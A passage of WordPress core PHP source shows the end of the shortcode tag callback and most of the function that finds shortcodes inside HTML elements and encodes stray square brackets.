	$return = apply_filters( 'pre_do_shortcode_tag', false, $tag, $attr, $m );
	if ( false !== $return ) {
		return $return;
	}

	$content = isset( $m[5] ) ? $m[5] : null;

	$output = $m[1] . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . $m[6];

	/**
	 * Filters the output created by a shortcode callback.
	 *
	 * @since 4.7.0
	 *
	 * @param string       $output Shortcode output.
	 * @param string       $tag    Shortcode name.
	 * @param array|string $attr   Shortcode attributes array or empty string.
	 * @param array        $m      Regular expression match array.
	 */
	return apply_filters( 'do_shortcode_tag', $output, $tag, $attr, $m );
}

/**
 * Search only inside HTML elements for shortcodes and process them.
 *
 * Any [ or ] characters remaining inside elements will be HTML encoded
 * to prevent interference with shortcodes that are outside the elements.
 * Assumes $content processed by KSES already.  Users with unfiltered_html
 * capability may get unexpected output if angle braces are nested in tags.
 *
 * @since 4.2.3
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, all square braces inside elements will be encoded.
 * @param array  $tagnames    List of shortcodes to find.
 * @return string Content with shortcodes filtered out.
 */
function do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames ) {
	// Normalize entities in unfiltered HTML before adding placeholders.
	$trans   = array(
		'&#91;' => '&#091;',
		'&#93;' => '&#093;',
	);
	$content = strtr( $content, $trans );
	$trans   = array(
		'[' => '&#91;',
		']' => '&#93;',
	);

	$pattern = get_shortcode_regex( $tagnames );
	$textarr = wp_html_split( $content );

	foreach ( $textarr as &$element ) {
		if ( '' === $element || '<' !== $element[0] ) {
			continue;
		}

		$noopen  = false === strpos( $element, '[' );
		$noclose = false === strpos( $element, ']' );
		if ( $noopen || $noclose ) {
			// This element does not contain shortcodes.
			if ( $noopen xor $noclose ) {
				// Need to encode stray '[' or ']' chars.
				$element = strtr( $element, $trans );
			}
			continue;
		}

		if ( $ignore_html || '<!--' === substr( $element, 0, 4 ) || '<![CDATA[' === substr( $element, 0, 9 ) ) {
			// Encode all '[' and ']' chars.
			$element = strtr( $element, $trans );
			continue;
		}

		$attributes = wp_kses_attr_parse( $element );
		if ( false === $attributes ) {
			// Some plugins are doing things like [name] <[email]>.
			if ( 1 === preg_match( '%^<\s*\[\[?[^\[\]]+\]%', $element ) ) {
				$element = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $element );
			}

			// Looks like we found some crazy unfiltered HTML. Skipping it for sanity.
			$element = strtr( $element, $trans );
			continue;
		}

		// Get element name.
		$front   = array_shift( $attributes );
		$back    = array_pop( $attributes );
		$matches = array();
		preg_match( '%[a-zA-Z0-9]+%', $front, $matches );
		$elname = $matches[0];

		// Look for shortcodes in each attribute separately.
		foreach ( $attributes as &$attr ) {
			$open  = strpos( $attr, '[' );
			$close = strpos( $attr, ']' );
			if ( false === $open || false === $close ) {
				continue; // Go to next attribute. Square braces will be escaped a